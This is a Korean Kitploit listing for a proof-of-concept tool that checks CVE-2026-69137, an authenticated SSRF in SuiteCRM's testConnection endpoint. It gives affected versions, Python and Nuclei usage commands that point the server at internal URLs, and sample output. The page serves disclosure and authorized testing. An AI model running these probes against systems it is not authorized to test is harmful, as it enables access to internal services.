Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-69137 — SuiteCRM <= 7.15.1, <= 8.10.1 - 인증된 SSRF | Kitploit
도구/GitHubGitHub/entrovyx/cve-2026-69137
Vulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubentrovyx/cve-2026-69137

CVE-2026-69137

SuiteCRM <= 7.15.1, <= 8.10.1 - 인증된 SSRF

저장소 보기
131개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-69137 - SuiteCRM 인증된 SSRF

CalendarAccount/testConnection 엔드포인트와 caldav_basic 제공자를 통해 SuiteCRM에서 인증된 서버 측 요청 위조(SSRF)를 검증하는 개념 증명(PoC)입니다.

요약

영향을 받는 SuiteCRM 버전은 인증된 사용자의 server_url을 수락하고 목적지를 검증하지 않은 채 cURL에 전달합니다. 이로 인해 루프백 또는 내부 HTTP 서비스로의 서버 측 요청이 가능해집니다. 취약한 릴리스에서는 연결 실패 응답이 오류 메시지에 가져온 서비스의 응답 데이터를 노출할 수도 있습니다.

이 PoC는 유효한 SuiteCRM 계정으로 인증하고 제어된 URL을 요청합니다. 기본 목적지인 http://127.0.0.1:1/은 닫힌 루프백 포트로, 외부 서비스를 요청하지 않고 SuiteCRM이 서버 측 연결을 시도했음을 입증합니다.

영향을 받는 버전

  • 취약: SuiteCRM <= 7.15.1 및 <= 8.10.1
  • 수정: SuiteCRM 7.15.2 및 8.10.2
  • 보안 공지: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
  • CVE: CVE-2026-69137
  • CWE: CWE-918

요구 사항

  • Python 3
  • 유효한 SuiteCRM 자격 증명 또는 인증된 세션 쿠키
  • SuiteCRM 인스턴스 및 --server-url로 제공되는 모든 목적지를 테스트할 수 있는 권한

타사 Python 패키지는 필요하지 않습니다.

사용법

SuiteCRM에 대한 기본 로컬 검증:

python3 CVE-2026-69137.py \
  -u http://127.0.0.1:8081 \
  -U admin \
  -P 'password'

기존 인증된 세션 사용:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  --cookie 'PHPSESSID=value'

권한이 부여된 내부 또는 제어된 목적지 테스트:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  -U user \
  -P 'password' \
  --server-url http://127.0.0.1:8080/

옵션

-u, --url                 SuiteCRM 기본 URL
-U, --username            SuiteCRM 사용자 이름
-P, --password            SuiteCRM 비밀번호
--cookie                  인증된 SuiteCRM Cookie 헤더 값
--server-url              SuiteCRM이 가져올 URL; 기본값: http://127.0.0.1:1/
--timeout                 HTTP 타임아웃(초); 기본값: 35
-k, --insecure            TLS 인증서 검증 비활성화

예상 출력

취약한 버전은 제공된 URL을 처리한 후 연결 테스트 실패를 반환합니다:

[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
    Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...

패치된 버전은 연결을 시도하기 전에 허용되지 않는 목적지를 거부합니다:

[+] Target rejected the supplied URL; the SSRF fix appears to be present.

Nuclei 템플릿

CVE-2026-69137.yaml은 username과 password로 인증하고, SuiteCRM 세션을 재사용하며, 동일한 닫힌 루프백 프로브를 수행합니다:

nuclei -u https://suitecrm.example \
  -t CVE-2026-69137.yaml \
  -var username=user \
  -var password='password'

템플릿은 다음으로 검증되었습니다:

nuclei -validate -t CVE-2026-69137.yaml

참고 사항

  • --server-url은 테스트 권한이 있는 목적지에만 사용하십시오.
  • 기본 루프백 프로브는 의도적으로 비파괴적이며 외부 서비스에 접속하지 않습니다.
  • 템플릿 제출은 https://github.com/projectdiscovery/nuclei-templates/pull/17335 에서 확인할 수 있습니다.
도구 다운로드